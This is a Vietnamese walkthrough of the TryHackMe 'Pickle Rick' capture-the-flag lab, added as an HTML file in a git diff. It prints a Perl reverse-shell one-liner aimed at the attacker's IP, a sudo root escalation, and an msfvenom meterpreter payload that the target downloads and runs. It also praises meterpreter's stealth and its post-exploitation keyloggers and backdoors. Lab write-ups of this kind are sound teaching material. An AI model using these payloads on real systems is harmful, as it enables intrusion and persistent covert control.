diff --git a/Tryhackme/Khai thác Pickle Rick .htm b/Tryhackme/Khai thác Pickle Rick .htm new file mode 100644 index 0000000..3373426 --- /dev/null +++ b/Tryhackme/Khai thác Pickle Rick .htm @@ -0,0 +1,3026 @@ + + +
+ + + + + + + + + + + + + + + + +Server
+khai thác:
https://tryhackme.com/room/picklerick
Thực
+hiện start machine để lấy địa chỉ ip của
+mục tiêu cần khai thác:
Ping
+kiểm tra máy Kali có đang cùng mạng với Mục tiêu
+hay ko:
Thực
+hiện scan các port TCP:
nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127
Thực hiện việc scan các
+port UDP
nmap -vv -Pn -T4 -sU -sV 10.10.176.127
Dựa
+trên kết quả quét các port TCP và phiên bản như trên, có
+thể thấy Server đang mở 2 port 22 và 80. Trong đó
+port 22 là service SSH với phiên bản OpenSSH 7.2p2.
Thử
+truy cập bằng ssh đên server -> nhưng thất bại
Tìm
+lỗi liên quan đến phiên bản của SSH này
Dựa
+vào kết quả tìm kiếm, rất có thể Server dính lỗ
+hỏng “Usename Enumeration”. Thông qua tìm hiểu thì lỗi này
+thường chạy rất mất thời gian để
+tìm ra username cho SSH, sau đó lại còn phải brute force tìm
+password cho tài khoản đó mà chưa chắc sẽ tìm ra
+được -> tạm thời bỏ qua.
Chuyển
+đến tiếp theo sẽ là port 80. Tiến hành truy cập
+trang web theo địa chỉ của Server, tìm source:
Và
+src của nó sẽ là:
+
+ <!DOCTYPE html> <html lang="en"> <head>
+ <title>Rick is sup4r cool</title>
+ <meta charset="utf-8">
+ <meta name="viewport" content="width=device-width,
+ initial-scale=1">
+ <link rel="stylesheet"
+ href="assets/bootstrap.min.css">
+ <script src="assets/jquery.min.js"></script>
+ <script
+ src="assets/bootstrap.min.js"></script>
+ <style>
+ .jumbotron {
+ background-image: url("assets/rickandmorty.jpeg");
+ background-size: cover;
+ height: 340px; }
+ </style> </head> <body>
+ <div class="container">
+ <div class="jumbotron"></div>
+ <h1>Help Morty!</h1></br>
+ <p>Listen Morty... I need your help, I've turned myself into a
+ pickle again and this time I can't change back!</p></br>
+ <p>I need you to <b>*BURRRP*</b>....Morty, logon
+ to my computer and find the last three secret ingredients to finish my
+ pickle-reverse potion. The only problem is,
+ I have no idea what the <b>*BURRRRRRRRP*</b>, password
+ was! Help Morty, Help!</p></br>
+ </div> <!-- Note to self,
+ remember username! Username:
+ R1ckRul3s --> </body> </html>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Phần
+màu xanh lá ở trên là comment trên front end code, đây có thể
+là user dùng để đăng nhập lên chính trang web hoặc
+là dùng đăng nhập SSH. Nhưng tạm thời thì cứ
+để đây và tiếp tục tìm kiếm các thông tin
+khác như các dir ẩn.
Thực
+hiên chạy lệnh:
gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x
+txt,php,py,sh
· gobuster: tên lệnh
· dir: chế độ tìm file ẩn
· -u: url của server nạn nhân
· -w: tên wordlist cần dùng
· -x: những extension muốn tìm (thường với
+website linux sẽ là txt, php, php5, py, rb, pl, sh)
· -t: số threads chạy trong 1 giây
Có
+thể nhận thấy 2 đường dẫn trả về
+status 200. Tiến hành truy cập 2 trang này.
Với
+url đầu tiên:
Đây
+có thể là password cho username vừa tìm được hồi
+nảy.
Với
+cái thứ 2, chúng ta được một nơi như là
+chỗ để đăng nhập:
Đăng
+nhập thành công thì được một nơi như thế
+này:
Đến
+đây thì test thử một cài câu lệnh xem cái Command Panel
+này hoạt động như thế nào.
TIP QUAN TRỌNG:
Thông
+thường, chúng ta có thể sử dụng trình điều
+khiển này để pentest tiếp, nhưng lúc này lại
+có một vấn đề như thế này. Để có
+thể truy cập vào được trình điều khiển
+server bằng dòng lệnh này, chúng ta cần phải
+đăng nhập thành công vào admin dashboard, vậy điều
+gì sẽ xảy ra nếu như password và username bị thay
+đổi? Khả năng cao là chúng ta sẽ không thể
+truy cập vào trình điều khiển này được nữa
+và phải tìm một lỗi khai thác khác.
Để
+tránh trường hợp trên xảy ra, chúng ta sẽ thiết
+lập một TCP reverse shell. Hay có thể giải thích
+đơn giản rằng chúng ta sẽ thiết lập một
+kết nối TCP từ máy nạn nhân đến máy của
+pentester và chúng ta sẽ điều khiển máy nạn nhân
+thông qua kết nối TCP đó. Như vậy, chúng ta không cần
+phải lo lắng chuyện mất quyền truy cập vào
+trình điểu khiển nữa.
Kiểm
+tra trên server có đang chạy bash, perl, python, ruby gì không?
Chúng
+ta đã xác định được server có chạy những
+loại nào, tiếp theo sẽ tạo một Reverse shell bằng
+những câu lệnh như link sau.( Hoặc link
+này).
Trước
+đó cần phải xác định IP mà máy pentester đã
+dùng VPN tới, đồng thời là một port để
+nhận tín hiệu gửi về. Phần IP thì có sẳn,
+kiểm tra xem một port nào đó có đang được
+mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.
Chúng
+ta sẽ mượn port 8888 để nhận kết nối
+chỏ về từ máy server. Cách mở port trên máy kali: nc
+-nlvp 8888
·
+n: Mang ý
+nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain
·
+-l: Chế
+độ lắng nghe
·
+-v: Verbose –
+Cho biết quá trình lắng nghe đang diễn ra thế nào
·
+-p: Chỉ
+định port để lắng nghe
Tiếp
+theo sử dụng những câu lệnh để excute từ
+trên server, trong trường hợp này là:
perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
+-i");};'
CHÚ Ý: lúc làm lab tới đây thì tắt đi nghỉ,
+nên địa chỉ server của tryhackmy sẽ thay đổi
+khi bật lên làm tiếp:
-
+IP server: 10.10.105.178
-
+IP của máy kali: 10.4.43.108
Sau khi excute câu lệnh trên
+web cùng với thực hiện lắng nghe trên máy kali, kết
+quả nhận được:
Tìm key thứ nhất:
Sau
+khi có kết nối rồi, dùng lệnh kiểm tra các tập
+tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”
Có
+một file dạng txt khả nghi, đọc file đó =>
+key1: mr. meeseek hair
Tìm key thứ 2
Đầu
+tiên di chuyển ra thư mục root và liệt kê ra các
+file/dir hiện hành:
Kiến
+thức thu lụm được:
Ở
+thời điểm này, chỉ cần chú ý đến 3
+directories đó là
·
+home:
+Nơi chứa những directories của những người
+dùng thông thường. Những người dùng thông thường
+sẽ được phép truy cập vào directory home này,
+nhưng không được phép thay đổi những
+directories (ví dụ như thêm hoặc xóa) được chứa
+bên trong directory home.
·
+root:
+Directory của root hay admin, người có quyền quản
+trị cao nhất và chỉ có root/admin mới được
+quyền truy cập vào đây.
·
+tmp: đây
+là directory thường được dùng để lưu
+trữ những dữ liệu tạm thời, và được
+cấp quyền truy cập, sửa đổi và thực
+thi cho tất cả người dùng hệ thống (cả
+root lẫn người dùng thường). Vì lẽ, directory
+này rất hay bị lợi dụng làm nơi chuyển dữ
+liệu hoặc mã độc giữa máy hacker và máy nạn
+nhân. Cũng như hacker có thể chạy file mã độc
+ngay tại directory tmp để tấn công hệ thống.
Di
+chuyển vào thư mục home, liệt kê các user:
Kết
+quả trả về là có 2 người dùng bình thường
+là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2
+directories này. Thế tại sao account www-data lại không có ở
+đây? Vì account www-data là account mặc định được
+hệ thống webserver (ví dụ như Apache hoặc Nginx,
+v.v.) sử dụng cho các tác vụ thường ngày. Đây
+là một account bình thường và không có quyền hạn
+gì đặc biệt.
Vào
+trong user rick để tìm key thứ 2
Tìm key thứ 3
Lúc
+này chuyển qua user còn lại trong thư mục home để
+tìm. Ở đây chúng ta có 2 file để chú ý là
+.sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số
+byte dữ liệu bằng 0 nên đây là một file trống.
+Còn directory .ssh không cho chúng ta quyền truy cập. Có thể
+thử cd đến .ssh sẽ nhận được báo lỗi
+sau
Do
+đó cần phải leo thang đặc quyền để
+có thể truy cập được trong dir này. Privileges
+escalation là một lĩnh vực khá rộng và có vô số
+cách cũng như kỹ thuật để thực hiện.
+Trong đó có 2 cách phổ biến nhất đó là sử dụng:
·
+Kernal
+exploit: Nghĩa là lợi dụng những lỗ hổng bảo
+mật nằm trong nhân Linux hoặc hệ điều hành
+Ubuntu để tiến hành nâng quyền quản trị.
·
+Sudo rights:
+Lợi dụng các công cụ được cấp quyền
+sử dụng để nâng quyền quản trị.
Đầu
+tiên bắt đầu với Kernal exploit, cần phải
+thu thập thông tin liên quan đến OS, kernel như sau:
Kết
+hợp các điều trên có nghĩa là chúng ta cần tìm một
+phần mềm khai thác lỗi cho phép nâng cấp quyền quản
+trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được
+viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực
+thi trên Linux).
Tiến
+hành tìm lỗi những không mấy khả quan
Kết
+quả không mấy khả quan nên sẽ chuyển qua cách
+nâng cấp đặc quyền thứ 2 là sudo right.
Kiến
+thức: tất cả mọi thứ từ
+thiết bị, công cụ, câu lệnh, interface, ip address,
+port, v.v trên Linux đều là một file. Do đó, việc bạn
+có thể sử dụng một công cụ ví dụ Perl hay một
+dòng lệnh ví dụ ls được hay không phụ thuộc
+hoàn toàn vào việc bạn có quyền tiếp cận, và thực
+thi với file Perl hoặc file ls hay không. Mỗi account trong hệ
+thống Linux thường sẽ được cấp
+phép sử dụng một số công cụ hoặc câu lệnh
+để thực hiện công việc của họ. Và các
+công cụ hoặc câu lệnh này nếu không được
+quản trị kỹ, chúng hoàn toàn có thể bị lợi
+dụng để nâng cấp lên quyền quản trị
+cao hơn, hoặc thậm chí là quyền quản trị
+root.
Do
+đó, cần kiểm tra quyền của account hiện tại:
Dựa
+vào kết quả trên chúng ta có thể thấy, account của
+chúng ta có quyền sử dụng bất kỳ công cụ và
+câu lệnh nào đang có trên server Pickle Rick mà không cần phải
+cung cấp password của account hiện tại hoặc
+password của account root.
Do
+không yêu cầu về password nên sử dụng câu lệnh
+“sudo su” để nâng cấp đặc quyền lên root
+luôn.
Lúc
+này xem như đã nắm được toàn bộ Server,
+do đó nên đi vòng vòng kiếm flag cho thử thách thứ
+3 thui, kết quả nhận được sẽ là:
ð Giải được toàn bộ flag của
+Pickle Rick
--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY
+LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO
+HƠN------------
---------------------------------------------------------------------------------------------------------------------
Trong
+CTF, sau khi hoàn thành phần 3 bên trên là đã có thể coi
+như đã chiến thắng. Nhưng khi đi làm pentest, sẽ
+có khác biệt một tí. Khác biệt đó nằm ở chỗ
+kết nối TCP reverse shell đang dùng vẫn chưa phải
+là một kết nối bền vững và có thể bị
+can thiệp bất cứ lúc nào do kết nối trên có thể
+bị phát hiện bởi Task Manager. Chưa kể
+đường truyền TCP reverse shell không được
+mã hóa, dễ dẫn đến tình trạng lộ thông tin
+nhạy cảm của cả pentester lẫn nạn nhân.
Để
+phòng tránh việc đó, chúng ta sẽ nâng cấp đường
+truyền từ TCP reverse shell thành Meterpreter shell. Ưu
+điểm của Meterpreter shell so với TCP reverse shell
+như sau:
·
+Meterpreter sử
+dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ
+liệu trên RAM mà thôi, và không ghi gì vào ổ cứng cả,
+do đó hạn chế việc để lại dấu vết.
·
+Kết nối
+meterpreter không tạo ra process mới mà sẽ tự inject nó
+vào process đã bị tấn công khiến nó gần như
+vô hình trước các chương trình như Task Manager trên
+Windows. Khi process bị meterpreter tấn công bị kill,
+meterpreter sẽ tự động nhảy sang một process
+khác để duy trì kết nối.
·
+Kết nối
+meterpreter được mã hóa.
·
+Do
+meterpreter là một tính năng của Metasploit, sử dụng
+meterpreter cho phép pentester sử dụng luôn các module post-exploitation
+ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên
+Metasploit để tấn công sâu hơn vào hệ thống của
+nạn nhân.
Chúng
+ta sẽ bắt đầu nâng cấp đường truyền
+từ TCP reverse shell thành Meterpreter shell.
Sử
+dụng câu lệnh sau để tạo ra một file meterpreter
msfvenom
+-p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o
+shell.elf
Trong
+đó:
·
+msfvenom: Tên câu lệnh
·
+-p
+linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết
+nối sẽ sử dụng
·
+LHOST và
+LPORT: Địa chỉ IP và
+port dùng để nhận shell trên máy Kali của hacker
·
+-f: Format của dữ liệu đầu ra. Ở
+đây chọn elf là extension file thực thi của Linux.
·
+-o: Xuất ra file có tên là shell.elf
Tiếp
+theo sử dụng câu lệnh
Python3 -m http.server 8000
Câu
+lệnh trên sử dụng một module của Python có tên là
+SimpleHTTPServer để biến directory hiện tại thành
+một webserver cho phép trao đổi file tại port 8000 với
+địa chỉ IP là IP của hacker. Webserver này có thể
+được truy cập bởi tất cả các máy ở
+trong cùng mạng.
Sử
+dụng câu lệnh sau trên server để download
wget http://10.4.43.108:8000/shell.elf
Thực
+hiện cấp quyền thực thi trên máy Server và excute file
+đó
Quay
+lại trên máy kali, tiến hành dùng metasploit để nhận
+kết nối trỏ về
msfconsole
use
+exploit/multi/handler
set
+LHOST <IP của bạn>
set
+LPORT <Port đã dùng trong command msfvenom bên trên>
set
+PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
Kết
+quả cuối cùng nhận được sẽ là